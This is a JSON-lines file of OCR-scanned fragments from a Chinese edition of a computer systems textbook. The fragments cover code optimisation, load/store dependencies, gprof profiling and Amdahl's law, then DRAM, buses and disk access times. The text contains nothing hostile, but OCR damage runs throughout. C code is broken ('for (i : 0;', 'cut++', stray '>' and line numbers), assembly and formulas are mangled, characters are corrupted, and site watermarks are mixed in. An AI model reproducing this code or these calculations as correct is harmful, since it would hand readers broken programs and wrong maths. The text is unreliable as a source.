    {"text": "这个函数强调的是当参数src和dest 相等时，存储和加载之间的相互影响\n中，指针引用*src的每次加载都会得到指针引用*dest的前次执行存储的值。"},
    {"text": "为了了解处理器如何区别这两种情况，以及为什么一种情况比另一种运行得慢，我们必须更 加仔细地看看加载和存储执行单元,如图5-34所示。"},
    {"text": "当一条加载操作发生时，它必须检查存储缓冲区中的条目，看有没有地址相匹配。 如果有地址相 匹配（意味着在写的字节与在读的字节有相同的地址)，它就取出相应的数据条目作为加载操作 的结果。"},
    {"text": "加载单元必须检 査它的地址是否与存储单元中的地址相符，以发现写/读相关 图5-35给出了 write_read内循环的汇编代码，以及指令译码器产生的操作的图形化表 示。"},
    {"text": "指令movl %eax, (%ecx)被翻译成两个操作.:s_addr指令计算存储操作的地址，在存储 缓冲区创建一个条目，并且设置该条目的地址字段。"},
    {"text": "此外，对指令movl (%ebx) , %eax译码得到的load操作必须检査所有未完成的存储操作的地址，在这个操作和 s_addr操作之间形成了数据相关。"},
    {"text": "这个数据相 ^是有条件的：如果两个地址相同，load操作&、须等待直到 s _data将它的结果存放到存储缓 冲区中，但是如果两个地址不同，两个操作就可以独立地进行。"},
    {"text": "标号为（1)的弧线表示存储地址必须在数据被存储之前计算出来。 标号为（2)的弧 线表示需要load操作将它的地址与所有未完成的存储操作的地址进行比较。"},
    {"text": "ES1S55 movl %eax, (%ecx) movl (%ebx), %eax addl $1, %eax subl $1, %edx jne loop 图5-35 writejead内循环代码的图形化表示。"},
    {"text": "我们首先重新排列图5-35的操作（a),然后只显 示那些使用一次迭代中的值在下一次迭代中产生新值的操作（b) 图5-36b说明了当移走那些不直接影响迭代与迭代之间数据流的操作之后，会发生什么。"},
    {"text": "对于寄存器操作，在指令被译码成 操作的时候，处理器就可以确定哪些指令会影响其他哪些指令。 另一方面，对于存储器操作，只 有到计算出加载和存储的地址被计算出来以后，处理器才能确定哪些指令会影响其他的哪些。"},
    {"text": "当两个地址相同时，存储、加载和增加数据的链形成了关键路径 (示例B) _练习题5.10以下是另一个具有潜在的加载一存储相互影响的代码，考虑下面的函数，它将一个数组 的内容复制到另一个数组： void copy_array(int *src, int *dest, int n) { int i; for (i : 0; i < n; i++) dest [i] = src [i]; } 假设a是一个长度为1000的数组，它被初始化为每个元素a⑴等于/。"},
    {"text": "调用 copy_array (a+1, a, 999) 的效果是什么？ 调用 copy一array (a, a+1, 999) 的效果是什么? 我们的性能测试表明问题A调用的CPE为2.00,而问题B调用的CPE为5.00。"},
    {"text": ". ®练习题5.11我们测量出前置和函数 psuml (图 5-1) 的 CPE 为 10.00, 在测试机器上，要执行的基 本操作，浮点加法的延迟只是3个时钟周期。"},
    {"text": "下面是这个函数内循环的汇编代码： psuml . a in %rdi, p in %rsi, i in °/,rax, cnt in %rdx .L5: loop ： movss -4(%rsi,%rax,4), %xmm0 Get p[i-l] addss (%rdi,%rax ， 4), %xmm0 Add n[i] movss %xmm0, (%rsi,%rax,4) .Store at p[i] addq $1, %rax Increment i cmpq %rax, %rdx Compare cnt:i jg .L5 If >, got.o loop 参考对combine3 (图5-14)和write_read (图5-36)的分析，画出这个循环生成的数据相关 图，再画出计算进行时由此形成的关键路径。"},
    {"text": "一项有用的技术是在优化函数 时，用检查代码来测试函数的每个版本，以确保在这个过程没有引入错误。 检査代码对函数的新 版本实施一系列的测试，确保它们产生与原来一样的结果。"},
    {"text": "5.14 确认和消除性能瓶颈 至此，我们只考虑了优化小的程序，在这样的小程序中有一些很明显限制性能的地方，因此 应该集中注意力对它们进行优化。"},
    {"text": "使用GCC (以及其他C编译器)，就是在命令行上简单 地包括运行时标志 f -pg’ ： unix> gcc -01 -pg prog.c 一 o prog 然后程序像往常一样执行： unix> ./prog file.txt 它运行得会比正常时稍微慢一点（大约慢2倍)，不过除此之外唯一的区别就是它产生了一 个文件gmon • out。"},
    {"text": "作为一个示例，下面 列出了报告的一部分，关于程序中最耗费时间的三个函数： % ( cumulative self self total time seconds seconds calls s/call s/call name 97.58 173.05 173.05 1 173.05 173.05 sort_words 2.36 177.24 4.19 965027 0.00 0.00 find_ele_rec 0.12 177.46 0.22 12511031 0.00 0.00 Strlen 每一行代表对某个函数的所有调用所花费的时间。"},
    {"text": "在例子中，函数sort_word S 只被调用了一次，但就是这一次调用需要173.05秒，而函数 过1^^16一“0被调用了965 027次（递归调用不计算在内），总共需要4.19秒。"},
    {"text": "通过创建这个“包装函数”（wrapper fimction) Strlen,我们可以可靠地跟踪对strlen的调用，表明它被调用了 12 511 031次，但是一共只 需要0.22秒。"},
    {"text": "下面是一个递归函数find_ele一rec的历史：\n158655725 find_ele_rec [5] .19 • 19 .01 .00 0.02 965027/965027 insert—string [4] [5： 0.02 965027+158655725 find_ele__rec [5] 0.01 363039/363039 new_ele [10] 0.01 363039/363039 save.string [13] 158655725 find.ele rec [5]\n这个历史既显示了调用find_ele_r eC 的函数，也显示了它调用的函数。"},
    {"text": "对于一个给定的《值，程序读一个文本文件，创建一张互不相同的的表，指出每 ^n-gram 出现了多少次，然后按照出现次数的降序对单词排序。"},
    {"text": "对于每个版本，我们将时间分为 下面的5类： Sort ：按照频度对 n-gram 进行排序 List:为匹配扫描链表，如果需要，插入一个新的元素 Lower ：将字符串转换为小写字母 Strlen ：计算字符串的长度 Hash ：计算哈希函数 Rest ：其他所有函数的和 ’ ::, A I - 1 — '. - J Sort d List I Lower I Strlen I Hash ■ Rest Initial Quicksort Iter first Iter last Big table Better hash Linear lower a )所有的版本 200 180 160 140 营 120 &100 80 60 40 20 0 5 4 3 2 1 E|| m pi 纖 S_ __ SB# 離S 麵擊 織藥 _ _ mmi 譲 m 議 _ 11 BS9ES E3 Sort M List H Lower H Strlen U Hash ■ Rest Quicksort Iter first Iter last Big table Better hash Linear lower b )除了最慢的版本以外的所有版本 9 5-38 频度计数程序的各个版本的剖析结果。"},
    {"text": "通常，假设在有代表性的数 据上运行程序，剖析能帮助我们对典型的情况进行优化，但是我们还应该确保对所有可能的情 况，程序都有相当的性能。"},
    {"text": "因此，整个执行时间会是 K1 -a)T old ^{aT old )lk =T old [{\\-a)+a/k] 据此，我们可以计算加速比庐TVH: (1 — a) + a/k (5-4) 作为一个示例，考虑这样一种情况，系统原来占用60%时间（a=0.6)的部分被提高到了 3 倍03)。"},
    {"text": "那么得到 5oo= (1^) (5-5) 因此，例如，如果我们能够将系统60%的部分速度提高到它所需要的时间接近于0,那么净加 速比也仍然只为1/0.4=2.5。"},
    {"text": "参考文献说明 我们的关注点是从程序员的角度描述代码优化，展示如何使书写的代码，能够使编译器更容 易产生高效的代码p Chdlappa、Franchetti和Piischel的扩展的论文[19]采用了类似的方法，但 关于处理器的特性描述得更详细。 有许多著作从编译器的角度描述了代码优化，形式化描述了编辑器可以产生更有效代码的方 法。"},
    {"text": "Mahlke等 人的一篇比较早期的论文[71],描述了几种为编译器开发的将程序映射到并行机器上的技术，它 们是如何能够被改造成利用现代处理器的指令级并行的。"},
    {"text": "这篇论文覆盖了我们讲过的代码变换， 包括循环展开、多个累积变量（他们称之为 累积变量扩展 （accumulatQr variable expansion))和 重新结合（他们称之 为树高度减少 （tree height reduction))。"},
    {"text": "通过进行与我们将抽 象程序combinel变换为更有效的combine 4 相同类型的变换，得到如下代码： /* Accumulate in temporary */ 2 3 void inner4(vec_ptr x, vec_ptr y, data_t X 4 \\ long int i; 5 int length = vec_length(x); 6 data_t *xdata = get_vec_start (x); 7 data_t *ydata = get_vec一start(y) ; 8 o data_t sum = (data_t) 0; 10 for (i = Q; i < length; i++) { i i sum = sum + xdata[i] * ydata[i]; 12 > 13 ♦dest = =sum 14 : y 测试显示对于整数和浮点数据，这个函t的CPE等于3.00。"},
    {"text": "对于数据类型float,内循环的X86-64 汇编代码如下所示： i.nner4: data„t float . xdata in %rbx, ydata in °/»rax, limit in %rcx, i in %rdx, sum in i • L87: .loop: 2 movss (%rbx,%rdx,4), %xmm0 Get xdata[i] 3 mulss (%rax,%rdx,4), %xmm0 Multiply' by ydata[i] 4 addss 7oXmmO, %xmml Add to sum 5 addq $1, %rdx Increment i 6 cmpq %rcx, %rdx Compare i:limit 7 jl .L87 If <, goto loop 假设功能单元的特性如图 5 _1 2 所f。"},
    {"text": "对于 X86-64,我们对这个函数的测试得到对所有类型的数据CPE都等于2.00。 什么因素制约了性能达到CPE等于2.00 ? 请解释为什么这个版本对于整数在IA32上CPE等于2.67,比只做4路循环展开时的CPE等于 2.33还要差。"},
    {"text": "**5.19库函数memset的原型如下： void *memset(void *s, int c, size^t n); 这个函数将从s开始的n个字节的存储器区域都填充为c的低位字节。"},
    {"text": "下面是memset最直接的实现： /氺 Basic implementation of memset */ void *basic_memset(void *s, int c, size_t n) { size_t cnt = 0; unsigned char *schax = s; while (cnt < n) { *schar++ = (unsigned char) c; cut++; > io return s; n > 实现该函数一个更有效的版本，使用数据类型为unsigned long的字来装下4个（对于IA32) 或者8个（对于X86-64)个c,然后用字级的写遍历目标存储器区域。"},
    {"text": "理想状况下，你能达到的CPE应该接近于你的机器上连续浮点加法和乘法之间的周期数（通常是 l)o至少，你应该能够达到一个小于你的机器的浮点加法延迟的CPE。"},
    {"text": "正如下面加了注释的代码所示，结果会是将xp处的值设置为0: A *xp = *xp + *xp; /* 2x */ *xp = *xp - *xp; /* 2x~2x - 0 */ *xp = *xp - *xp; /木 0-0 = 0 */ 这个示例说明我们关于程序行为的直觉往往会是错误的。"},
    {"text": "我们可以看到，这个优化过的版本运行起来很像下面的C代码： /'* Make sure dest updated on each iteration */ void combine3w(vec_ptr v, data_t *dest) long int i; long int length. = vec_length(v); data_t *data = get_vec_start(v); data_t acc = IDENT; for (i = 0; i < length; i++) { acc = acc OP data[i]; ♦dest = acc; > 3 4 5 6 7 8 9 13 combine3的两个版本有相同的功能，甚至于相同的存储器别名使用。"},
    {"text": "我们可以看到，这里限制性能的计算是反复地计算表达式xpwr = x ★ xpwro这需要一个双精度 浮点数乘法（5个时钟周期），并且直到前一次迭代完成，下一次迭代的计算才能开始。"},
    {"text": "从 来自上一次迭代的result的值开始，我们必须先把它乘以x (5个时钟周期），然后把它加上a[i] (3个 时钟周期），然后得到本次迭代的值。"},
    {"text": "因此，每次迭代造成了最小延迟时间8个周期，正好等于我们测量到 的 CPE 0 虽然函数poly中每次迭代需要两个乘法，而不是一个，但是只有一条乘法是在每次迭代的关键路 径上出现。"},
    {"text": "练习题 5.7下面的代码直接遵循了我们对 灸 次展开一个循环所阐述的规则：. void unroll5(vec^ptr v, data_t *dest) long int i; long int length = vec_length(v); long int limit = length-4; data_t *data = get_vec_start(v); data_t acc = IDENT; /* Combine 5 elements at a time */ for (i = 0; i < limit; i+=5) { acc = acc OP data[i] OP data[i+1]; acc = acc OP data[i+2] OP data[i+3]; acc = acc OP data[i+4]; /伞 Finish any remaining elemoiits */ for (; i < length; i++) { acc = acc OP data[i]; 20 21 练习题 5.8这道题目说明了程序中小小的改动可能会造成很大的性能不同，特别是在乱序执行的机器上。"},
    {"text": "Al: ((r*x)*y)*z A2: (r*(x*y))*z A3: r*((x*y)*z) A4: r*(x*(y*z)) A5: (r*x)*(y*z) 图 5-39 对于练习题 5.8 中各种情况乘法操作之间的数据相关 在Intel Core i7上运行这些函数，确实得到A1的CPE为5.00, A3和A4的为1.67。"},
    {"text": "练习题 5.9这道题又说明了编码风格上的小变化能够让编译器更容易地察觉到使用条件传送的机会： while (il < n && i2 < n) { int vl = srcl [il]; int v2 = src2[i2]; int takel = vl < v2; dest [id++] = takel ? vl : v2; += takel; += (1-takel); > 对于这个版本的代码，我们测量到CPE大约为11.50,比原始的CPE17.50有了明显的提高。"},
    {"text": "练习题 5.11我们可以看到，这个函数在连续的迭代之间有写/读相关一——次迭代中的目的值P[幻与 下一次迭代中的源值P[i-1]相同。"},
    {"text": "练习题 5.12下面是对这个函数的一个修改版本 ： void psnmla(float a[], float p[], long int n) { long int i; /* last_val holds p [i-1]; val holds p[i] */ float last_val, val; last_val = p[0] = a [0]; for (i = 1; i < n; i++) { val = last_val + a[i]; p[i] = val; last_val = val; > 12 } 我们引入了局部变量last一val。"},
    {"text": "这个版本编译得到如下汇S代码 •• psumla. a in %rdi , p in %rsi, i in %rax # CDt in %rdx , last jval in %xmm0 .L18 ： loop: addss (%rdi,%rax,4), %xmm0 last—val = val ~ last 一 val + a[i] movss 7oxmmO, (7 0 rsi,°/ 0 rax,4) Store val in p[i] addq $1, %rajc Increment i cmpq %rax, %rdx Compare cnt：i jg .L18 If >, goto loop 这段代码将last一val保存在％xmm0中，避免了需要从存储器中读出p[i-1],因而消除了 psuml 中看到的写/读相关。"},
    {"text": "给定>2和《=0.8,而你必须解出I 2 = (1 一 0.8) + 0.8/ k 0.4 + 1.6/^ = 1.0 k = 2.67\n|第6章| | Computer Systems ： A Programmer’s Perspective, 2E 存储器层次结构 到目前为止，在对系统的研究中，我们依赖于一个简单的计算机系统模型，CPU执行指令, 而存储器系统为CPU存放指令和数据。"},
    {"text": "靠近CPU 的 小的、快速的高 速缓存存储器 (cache memory)作为一部分存储在相对慢速的主存储器(main memory,简称主存）中的数据和 指令的缓冲区域。 主存暂时存放存储在容量较大的、慢速磁盘上的数据，而这些磁盘常常又作为 存储在通过网络连接的其他机器的磁盘或磁带上的数据的缓冲区域。"},
    {"text": "存储器层次结构是可行的，这是因为与下一个更低层次的存储设备相比来说，一个编写良好 的程序倾向于更频繁地访问某一个层次上的存储设备。"},
    {"text": "整体效果是一个大的存储器池，其成本与层次结构底层最 便宜的存储设备相当，但是却以接近于层次结构顶部存储设备的高速率向程序提供数据。"},
    {"text": "这里就是计算机系统中一个基本而持久的思想：如果你理解了系统是如何将数据在存储器层 次结构中上上下下移动的，那么你就可以编写你的应用程序，使得它们的数据项存储在层次结构 中较高的地方，在那里CPU能更快地访问到它们。"},
    {"text": "具有良好局部性的程 序倾向于一次又一次地访问相同的数据项集合，或是倾向于访问邻近的数据项集合。 具有良好局 部性的程序比局部性差的程序更多地倾向于从存储器层次结构中较高层次处访问数据项，因此运 行得更快。"},
    {"text": "原则上，钟摆也能在垂直的位置无限期地保持平衡，但是这个状态是亚 稳态的 (metastable)——最细微的扰动也能使它倒下，而且一旦倒下就永远不会再恢复到垂直的位置。"},
    {"text": "有些系统也使用纠错码，其中计算机的字会被多编码几个 位（例如32位的字可能用38位来编码)，这样一来，电路可以发现并纠正一个字中任何单个 的错误位。"},
    {"text": "相对花费 应用 SRAM 6 IX 是 否 100X •高速绫存存储器 DRAM 1 10X 否 是 IX 主存，帧缓冲区 图6-2 DRAM和SRAM存储器的特性 3.传统的DRAM DRAM芯片中的单元（位）被分成d 个超单元 （supercell),每个超单元都由w 个 DRAM 单元组成。"},
    {"text": "图6-3给出了两组引脚：8个 data引脚，它们能传送一个字节到芯片或从芯片传出一个字节，以及2个addr引脚，它们携 带2位的行和列超单元地址。"},
    {"text": "DRAM芯片 (到 CPU) 图 6-3 — 个 128 位 16X8 的 DRAM 芯片的高级视图 -上超单元 ( 2 ， 1 )\n关于术语的注释 存借领域从来没有为 DRAM 的阵列元素确定一个标准的名字。"},
    {"text": "计算机构架师倾向于称之为 “ 单元 ” （ cell )，使这个术语具有 DRAM 存储单元之意。 电路设计者倾向于称之为 “ 字 ” （ word), 使之具有主存一个字之意。"},
    {"text": "' .■ ■ *. ■ ‘ . ■ - . 每个DRAM芯片被连接到某个称为存 储控制 器的电路,这个电路可以一次传送w位到每 个DRAM芯片或一次从每个DRAM芯片传出w位。 为了读出超单元(/,力的内容，存储控制 器将行地址f发送到DRAM,然后是列地址y。 DRAM把超单元仏力的内容发回给控制器作为响 应。"},
    {"text": "例如,如果示例的128位DRAM被组织成一个16个超单元的线性数组 , 地址为0〜15, :\n列 0 12 3 行 DRAM芯片 DRAM芯片 存储 控制器 data 瘦裡輕 & )选择行2(1^请求） ， 图6-4读一个DRAM超单元的内容 那么芯片会需要4个地址引脚而不是2个。"},
    {"text": "常见的 包装包括168 个 引脚的 双列直插存储器模块 （Dual Inline Memory Module, DIMM),它以64位 为块传送数据到存储控制器和从存储控制器传出数据，还包括72 个 引脚的 单列直插存储器模块 (Single Inline Memory Module, SIMM),它以 32 位为块传送 数据。"},
    {"text": "要取出存储器地址A处的一个64位双字，存储控制器将A转换成一个超单元址(f, y), 并将它发送到存储器模块，然后存储器模块再将z•和y广播到每个DRAM。"},
    {"text": "在这种情况下，当控制器收到一 个地址i时，控制器选择包含4的模块t将^[转换成它的(/,力的形式，并将(W)发送到模块奴 IH练习题6.1接下来，设r表示一个DRAM阵列中的行数，C表示列数,\\表示行寻址所需的位数， ^表示列寻址所需的位数。"},
    {"text": "超单元(i, j) 由八个 8Mx8 的 DRAM组成的64MB 存储器模块 存储 控制器 增强的 DRAM 有许多种DRAM存储器，而生产厂商试图跟上迅速增长的处理器速度，市场上就会定期推 出新的种类。"},
    {"text": "例如，要从一个传统的 DRAM的行 i 中读四个超单元，存储控制器必须发送四个RAS/CAS请求，即使是行地址 i 在每个情况中都是一样的。 要从一个FPMDRAM的同一行中读取超单元，存储控制器发 送第一个RAS/CAS请求，后面跟三个CAS请求。"},
    {"text": "SDRAM最早出现在1995年的高端系统中， 到2002年，大多数PC都是用SDRAM和DDRSDRAM制造的。 到2010年之前，大多数服务 器和桌面系统都是用DDR3SDRAM构造的。"},
    {"text": "电子可擦除 PROM (Electrically Erasable PROM, EEPROM)类似于 EPROM, 但是它不需要一个物理上独立的编程设备，因此可以直接在印制电路卡上编程。"},
    {"text": "闪存（flash memory)是一类非易失性存储器，基于EEPROM,它已经成为了一种重要的存 储技术。 闪存到处都是，为大量的电子设备提供快速而持久的非易失性存储，包括数码相机、手 机、音乐播放器、PDA和笔记本、台式机以及服务器计算机系统。"},
    {"text": "在6.1.3节中，我们会仔细研 究一种新型的基于闪存的磁盘驱动器，称为固 态硬盘 （Solid State Disk, SSD),它能提供相对于 传统旋转磁盘更快速、更强健和更低能耗的选择。"},
    {"text": "每 次CPU和主存之间的数据传送都是通过一系列步骤来完成的，这些步骤称为总线事务（bus transaction) 0 读事务（read transaction)从主存传送数据到 CPU。 写事务（write transaction)从 CPU传送数据到主存。"},
    {"text": "总线是一组并行的导线，能携带地址、数据和控制信号。 取决于总线的设计，数据和地址信 号可以共享同一组导线，也可以使用不同的。 同时，两个以上的设备也能共享同一根总线。"},
    {"text": "主要部件是CPU芯片、我们将称为I/O桥（I/O bridge)的芯片组（其中包括存储控制器)，以及组成主存的DRAM存储器模块。 这些部件由一 对总线连接起来，其中一条总线是系 统总线 （systembus),它连接CPU和I/O桥,另一条总线 是存储器总线 （memorybus),它连接I/O桥和主存。 I/O桥将系统总线的电子信翻译成存储器总线的电子信号。 正如我们着到的那样，I/O桥 也将系统总线和存储器总线$接到I/O总线，像磁盘和图形卡这样的I/O设备共享I/O总线。"},
    {"text": "例如 ， Intel 系统使用称为北桥 （northbridge) 和南桥 (southbridge) 的芯片组分别将 CPU 连接到存储器和 I/O 设备。 在比较老的 Pentium 和 Core 2 系 统中，前端总线 （Front Side Bus, FSB) 将 CPU 连接到北桥。"},
    {"text": "反过来，当CPU执行一个像下面这样的存储操作时 ■ - - . * ' • movl %eax, A c) CPU 从总线读出字 X ，并将它拷贝到寄存器 %eax 中 图 6-7 加载操作 movl A, %eax 的存储器读事务 寄存器文件 这里，寄存器％eax的内容被写到地址儿CPU发起写事务。"},
    {"text": "其 次，CPU将％63%中的数据字拷贝到系统总线（见图6-8b)。 最后，主存从存储器总线读出数据 字，并且将这些位存储到DRAM中（见图6-8c)。"},
    {"text": "6.1.2磁盘存储 磁盘是广为应用的保存大量数据的存储设备，存储数据的数量级可以达到几百到几千千兆字 节，而基于RAM的存储器只能有几百或几千兆字节。"},
    {"text": "盘片中央有一个可以旋转 的主轴（ spindle),它使得盘片以固定的旋 转速率 (rotational rate)旋转，通常是 5400 〜15 000 转每分钟 （Revolution Per Minute, RPM) 0 磁盘通 常包含一个或多个这样的盘片，并封装在一个密封的容器内。"},
    {"text": "寄存器文件\n<：：：:■ 主存 i/o桥 总线接口 ALU a) CPU将地:faU放到存储器总线。 主存读出这个地址，并等待数据字 寄存器文件 主存 %eax I/O桥 总线接口 b) CPU将数据字放到总线上\n图6-8存储操作movl %eax，A的存储器写事务 磁盘是由一个或多个叠放在一起的盘片组成的，它们被封装在一个密封的包装里，如图 9b所示。"},
    {"text": "整个装置通常称 为磁盘驱动器 （diskdrive),我们通常简称 为磁盘 （disk)。 有时，我 们会称磁盘为旋 转磁盘 （rotating disk),以使之区别于基于闪存的固 态硬盘 （SSD), SSD是没有 移动的部分的。"},
    {"text": "磁道 麵灸 间隙 . 一 一 '/ 0一个盘片的视图 o 12 3 4 5 面面面面面面 盘片< 盘片] 盘片: 主轴 b)多个盘片的视图\n图6-9磁盘构造 www.TopSage.com\n磁盘制造商通常用术语柱面（cylinder)来描述多个盘片驱动器的构造，这里，柱面是所有 盘片表面上到主轴中心的距离相等的磁道的集合。 例如，如果一个驱动器有三个盘片和六个面, 每个表面上的磁道的编号都是一致的，那么柱面 k 就是六个磁道 k 的集合。"},
    {"text": "2.磁盘容量 一个磁盘上可以记录的最大位数称为它的最大容量，或者简称为容量。 磁盘容量是由以下技 术因素决定的： •记录密度 （recording density)(位/英寸）：磁道一英寸的段中可以放入的位数。 •磁道密度 （track density)(道/英寸）：从盘片中心出发半径上一英寸的段内可以有的磁 道数。 面密度 （areal density)(位/ 平方英寸） ：记录密度与磁道密度的乘积。"},
    {"text": "因此，现代大容量磁盘使用一种称为多 区记录 (multiple zone recording)的技术，在这种技术中，柱面的集合被分割成不相交的子集合，称为 记录区（recording zone)。"},
    {"text": "下面的公式给出了一个磁盘的容量： _ 字节数 x 平均盘区数 x 磁道数 、 表面数 x 盘片数 扇区 磁道 X 表面 X 盘片 X 磁盘 例如，假设我们有一个磁盘，有5个盘片，每个扇区512个字节，每个面20 000条磁道， 每条磁道平均300个扇区。 那么这个磁盘的容量是： 512 字节 300扇区 磁盘容量: .20 000磁道2表面5盘片 ^ 表面 盘片 磁盘 扇区 磁道 =30 720 000 000 字节 =30.72GB 注意，制造商是以千兆字节（GB)为单位来表达磁盘容量的，这里1GB-10 9 字节。"},
    {"text": "对于与DRAM和SRAM容量相关的计量单位，通常K = 2 1Q , M = 2 20 , G = 2 30 ,而T = 2 4 °。 对于 与像磁盘和网络这样的I/O设备容量相关的计量单位，通常K=10 3 , M = IO 6 , G = 10 9 ,而T = 10'速率和呑吐量常常也使用这些前缀。"},
    {"text": "类似 地，对于 2 30 = 1 073 741 824 和 10 9 = 1 000 000 000 ： (2 30 —10 9 )/ 10 9 ~7% o _练习题 6.2 计算这样一个磁盘的容量，它有 2 个盘片 ， 10 000 个柱面 ， 每条磁遒平均有 400 个扇区 ， 而每个扇区有 512 个字节。"},
    {"text": "一旦读/写头定位到了 期望的磁道上，那么当磁道上的每个位通过它的下面时，读/写头可以感知到这个位的值（读该 位)，也可以修改这个位的值（写该位)。"},
    {"text": "1 a) —个盘片的视图 b)多个盘片的视图 图6-10磁盘的动态特性 在传动臂末端的读/写头在磁盘表面高度大约0.1微米处的一层薄薄的气塑上飞翔（就是字 面上这个意思)，速度大约为80km/h。"},
    {"text": "这可以比喻成将Sears Tower (译者注：一座位于芝加哥 的108层和442米高的摩天大楼）放倒，然后让它在距离地面2.5 cm (1英寸）的髙度上飞行 环绕地球，绕地球一天只需要8秒钟！"},
    {"text": "对扇区的访 问时间 （access time)有三个主要的部分： 寻 道时间 （seek time)、 旋转时间 （rotational latency) 和传送时间 （transfer time): •寻道时间：为了读取某个目标扇区的内容，传动臂首先将读/写头定位到包含目标扇区的 磁道上。"},
    {"text": "现代驱动器中平均寻道时间r avgseek 是通过对几千次对随机 扇区的寻道求平均值来测量的，通常为3〜9ms。 一次寻道的最大时间^可以高达 20ms o •旋转时间：一旦读/写头定位到了期望的磁道，驱动器等待目标扇区的第一个位旋转到读 /写头下。"},
    {"text": "因此,我们可以 粗略地估计一个扇区以秒为单位的平均传送时间如下\nT 1 1 60 secs avg —° n = RPM X (平均扇区数/磁道) X 1 min 我们可以估计访问一个磁盘扇区内容的平均时间为平均寻道时间、平均旋转延迟和平均传送 时间之和。 例如，考虑一个有如下参数的磁盘： 参数 值 旋转速率 7 200RPM ‘ ^avg seek 9ms 每条磁道的平均扇区数 400 对于这个磁盘，平均旋转延迟（以ms为单位）是 Tavg rotation — 1,2 X ro tation =1/2 X (60 secs/7200 RPM) X lOOOms/sec ~4ms 平均传送时间是 ^^=60/7200 RPMX 1/400 扇区 / 磁道 X 1000ms/sec ~ 0.02 ms 总之，整个估计的访问时间是 ^access 一 ^avg seek+^Lvg rotation ~^^avg transfer =9 ms+4 ms+0.02 ms =13.02 ms 这个例子说明了一些很重要的问题： •访问一个磁盘扇区中512个字节的时间主要是寻道时间和旋转延迟。"},
    {"text": "•对存储在SRAM中的双字的访问时间大约是4ns,对DRAM的访问时间是60ns。 因此， 从存储器中读一个512个字节扇区大小的块的时间对SRAM来说大约是256ns,对DRAM 来说大约是4000ns。 磁盘访问时间，大约10ms,比SRAM大约大40 000倍，比DRAM 大约大2500倍。"},
    {"text": "_练习题6.3 估计访问下面这个磁盘上一个扇区的访问时间（以ms为单位）： 参数 值 旋转速率 ^avg seek 每条磁道的平均扇区数 15 000RPM 8ms 500 逻辑磁盘块 正如我们看到的那样，现代磁盘构造复杂，有多个盘面，这些盘面上有不同的记录区。"},
    {"text": "为了 对操作系统隐藏这样的复杂性，现代磁盘将它们的构造呈现为一个简单的视图，一个B个扇区 大小的逻 辑块的 序列，编号为0, 1,…， B-U 磁盘中有一个小的硬件/固件设备，称为 磁盘控 制器，维护着逻辑块号和实际（物理）磁盘扇区之间的映射关系。 当操作系统想要执行一个I/O操作时，例如读一个磁盘扇区的数据到主存，操作系统会发送 一个命令到磁盘控制器，让它读某个逻辑块号。 控制器上的固件执行一个快速表査找，将一个逻 辑块号翻译成一个 （盘面，磁道，扇区） 的三元组，这个三元组唯一地标识了对应的物理扇区。 控制器上的硬件解释这个三元组，将读/写头移动到适当的柱面，等待扇区移.动到读/写头下, 将读/写头感知到的位放到控制器上的一个小缓冲区中，然后将它们拷贝到主存中。"},
    {"text": "这包括用标识扇区的信息填写扇区 之间的间隙，标识出表面有故障的柱面并且不使用它们，以及在每个区中预留出一组柱面作为备 用，如果区中一个或多个柱面在磁盘使用过程中坏掉了，就可以使用这些备用的柱面。"},
    {"text": "®练习题6.4假设1MB的文件由512个字节的逻辑块组成，存储在具有如下特性的磁盘驱动器上： 参数• 值 旋转速率 10 000RPM ^avg seek 5 ms 平均扇区数/磁道 1000 表面 4 扇区大小 512字节 对于下面的情况，假设程序顺序地读文件的逻辑块，一个接一个，将读/写头定位到第一块上的时间 疋 T aV g seek +^\"*avg rotation 0 最好的 情况： 给定逻辑块到磁盘扇区的最好的可能的映射（即顺序的 ）， 估计读这个文件需要的最 优时间（以ms为单位)。 随机的情况：如果块是随机地映射到磁盘扇区的，估计读这个文件需要的时间 （以 ms为单位 ）。"},
    {"text": "4-连接到I/O设备 像图形卡、监视器、鼠标、键盘和磁盘这样的输入/输出（I/O)设备，都是通过I/O总线, 例如Intel的 外围设备互连 （Peripheral Component Interconnect, PCI)总线连接到CPU和主存的。"},
    {"text": "•通用串行总线（Universal Serial Bus, USB)控制器是一个连接到USB总线的设备的中转 机构，USB总线是一个广泛使用的标准，连接各种外围I/O设备，包括键盘、鼠标、调制 解调器、数码相机、游戏操纵杆、打印机、外部磁盘驱动器和固态硬盘。"},
    {"text": "其他的设备，例如 网络适配器， 可以通过将适配器插入到主板上空 的扩展槽中， 从而连接到 I/O总线，这些插槽提供了到总线的直接电路连接。"},
    {"text": "CPU芯片 a) CPU通过将命令、逻辑块号和目的存储器地址写到与磁盘相关联的存储器映射地址，发起一个碰盘读 图6-12读一个磁盘扇区 www.TopSage.com\ny i/o总线 USB 图形 磁盘 控制器 适配器 控制器 键盘 监视器 c)当DMA传送完成时，磁盘控制器用中断的方式通知CPU 图6-12 (续） b)磁盘控制器读扇区，并执行到主存的DMA传送 CPU芯片 CPU芯片 作为一个简单的例子，假设磁盘控制器被映射到端口 OxaO。 随后，CPU可能通过执行 三个对地址OxaO的存储指令，发起磁盘读：第一条指令是发送一个命令字，告诉磁盘发起 一 个读，同时还发送了其他的参数，例如当读完成时，是否中断CPU (我们会在8.1节中讨 论中断）。"},
    {"text": "在磁盘控制器收到来自CPU的读命令之后，它将逻辑块号翻译成一个扇区地址，读该扇 区的内容，然后将这些内容直接传送到主存，不需要CPU的干涉（见图6-12b)。"},
    {"text": "不过，卡内基-梅隆大学的存储技 术研究人员开发出了一个很有用的工具，称为DIXtrac,它能自动发现大量关于SCSI磁盘构造 和性能的低级信息[92]。"},
    {"text": "第三列显示的是分 Zone number Sectors per track Cylinders per zone Logical blocks per zone (outer) 0 864 3201 22,076,928 1 844 3200 21,559,136 2 816 3400 22,149,504 3 806 3100 19,943,664 4 795 3100 19,671,480 5 768 3400 20,852,736 6 768 3450 21,159,936 7 725 3650 21,135,200 8 704 3700 20,804,608 9 672 3700 19,858,944 10 640 3700 18,913,280 11 603 3700 17,819,856 12 576 3707 17,054,208 13 528 3060 12,900,096 (inner) 14 — — — 图6-14 Seagate Cheetah 15K.4的区图。"},
    {"text": "没有 区14的数据 Geometry attribute Value Platters 4 Surfaces (read/write heads) 8 Surface diameter 3.5 in. Sector size 512 bytes Zones 15 Cylinders 50,864 Recording density (max) 628,000 bits/in. Track density 85,000 tracks/in. Areal density (max) 53.4 Gbits/sq. in. Formatted capacity 146:8 GB Performance attribute Value Rotational rate 15,000 RPM Avg. rotational latency 2 ms Avg. seek time 4 ms Sustained transfer rate 58-96 MB/s 磁盘制造商在他们的网页上公布了许多高级技术信息。"},
